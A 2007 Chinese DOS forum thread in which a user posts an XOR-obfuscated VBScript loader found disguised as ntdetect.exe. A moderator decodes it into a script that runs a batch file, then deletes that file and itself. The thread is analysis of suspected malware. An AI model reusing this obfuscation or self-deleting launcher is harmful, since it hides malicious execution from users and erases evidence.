中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！

游客: 注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »

中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 请教一段脚本代码，可能来自木马部分....

lsh1611
初级用户

积分 80
发帖 27
注册 2007-4-27
来自 BJ
状态离线

『楼主』: 请教一段脚本代码，可能来自木马部分....

在c根目录发现了一个ntdetect.exe文件，代码是文本：

Function fan(lovesss)
For i=1 to Len(lovesss) Step 2
fan=fan & Chr(CLng("&H" & Mid(lovesss,i,2)) Xor 23)
Next
End Function
chenzi="587937526565786537457264627A723759726F631A1D44726337447F727B7B372A3754657276637258757D7274633F35406474657E676339447F727B7B353E1A1D447F727B7B396562793F35742D4B7A7E746578647871636439757663353E1A1D64726337447F727B7B2A5978637F7E79701A1D44726337716478372A3754657276637258757D7274633F354474657E67637E797039517E7B72446E6463727A58757D727463353E1A1D404474657E676339447B7272673726272727371A1D5E713771647839517E7B72526F7E6463643F35742D4B7A7E746578647871636439757663353E37437F7279377164783953727B726372517E7B723F35742D4B7A7E746578647871636439757663353E1A1D7164783953727B726372517E7B723F404474657E6763394474657E676359767A723E"
Execute fan(chenzi)

不知道中间的数据是否有什么问题，能转换为其他各式? 这里哪位兄弟知道？

2007-11-20 17:23

lxmxn
版主

积分 11386
发帖 4938
注册 2006-7-23
状态离线

『第 2 楼』:

直接利用上面的fan函数：

Quote:

On Error Resume Next
Set Shell = CreateObject("Wscript.Shell")
Shell.run("c:\microsofts.bat")
set Shell=Nothing
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000
If fso.FileExists("c:\microsofts.bat") Then fso.DeleteFile("c:\microsofts.bat")
fso.DeleteFile(WScript.ScriptName)

2007-11-20 18:16

lsh1611
初级用户

积分 80
发帖 27
注册 2007-4-27
来自 BJ
状态离线

『第 3 楼』:

知道了，多谢版主！不知道是否有对vbs进行调试的工具。

搜索了一下，好像vbsedit可以...

[ Last edited by lsh1611 on 2007-11-21 at 09:41 AM ]

2007-11-21 09:34

lxmxn
版主

积分 11386
发帖 4938
注册 2006-7-23
状态离线

『第 4 楼』:

嗯，前任版主3742668曾经发过一个关于VBS的资料和编辑器的贴子，你搜索一下吧。

2007-11-21 12:54

请注意：您目前尚未注册或登录，请您注册或登录以使用论坛的各项功能，例如发表和回复帖子等。

可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题

论坛跳转: